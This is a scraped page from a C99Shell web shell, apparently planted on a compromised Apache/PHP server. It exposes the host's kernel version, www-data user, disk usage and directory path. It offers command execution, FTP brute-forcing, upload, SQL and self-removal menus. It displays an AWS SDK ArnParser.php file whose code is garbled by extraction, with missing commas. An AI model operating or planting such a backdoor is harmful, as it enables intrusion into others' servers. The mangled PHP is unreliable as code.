!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-sdk-php/src/Arn/   drwxr-xr-x
Free 13.23 GB of 57.97 GB (22.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArnParser.php (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Arn;

use 
Aws\Arn\S3\AccessPointArn as S3AccessPointArn;
use 
Aws\Arn\ObjectLambdaAccessPointArn;
use 
Aws\Arn\S3\MultiRegionAccessPointArn;
use 
Aws\Arn\S3\OutpostsBucketArn;
use 
Aws\Arn\S3\RegionalBucketArn;
use 
Aws\Arn\S3\OutpostsAccessPointArn;

/**
 * This class provides functionality to parse ARN strings and return a
 * corresponding ARN object. ARN-parsing logic may be subject to change in the
 * future, so this should not be relied upon for external customer usage.
 *
 * @internal
 */
class ArnParser
{
    
/**
     * @param $string
     * @return bool
     */
    
public static function isArn($string)
    {
        return 
$string !== null && strpos($string'arn:') === 0;
    }

    
/**
     * Parses a string and returns an instance of ArnInterface. Returns a
     * specific type of Arn object if it has a specific class representation
     * or a generic Arn object if not.
     *
     * @param $string
     * @return ArnInterface
     */
    
public static function parse($string)
    {
        
$data Arn::parse($string);
        if (
$data['service'] === 's3-object-lambda') {
            return new 
ObjectLambdaAccessPointArn($string);
        }
        
$resource self::explodeResourceComponent($data['resource']);
        if (
$resource[0] === 'outpost') {
            if (isset(
$resource[2]) && $resource[2] === 'bucket') {
                return new 
OutpostsBucketArn($string);
            }
            if (isset(
$resource[2]) && $resource[2] === 'accesspoint') {
                return new 
OutpostsAccessPointArn($string);
            }
        }
        if (empty(
$data['region'])) {
            return new 
MultiRegionAccessPointArn($string);
        }
        if (
$resource[0] === 'accesspoint') {
            if (
$data['service'] === 's3') {
                return new 
S3AccessPointArn($string);
            }
            return new 
AccessPointArn($string);
        }

        return new 
Arn($data);
    }

    private static function 
explodeResourceComponent($resource)
    {
        return 
preg_split("/[\/:]/"$resource);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--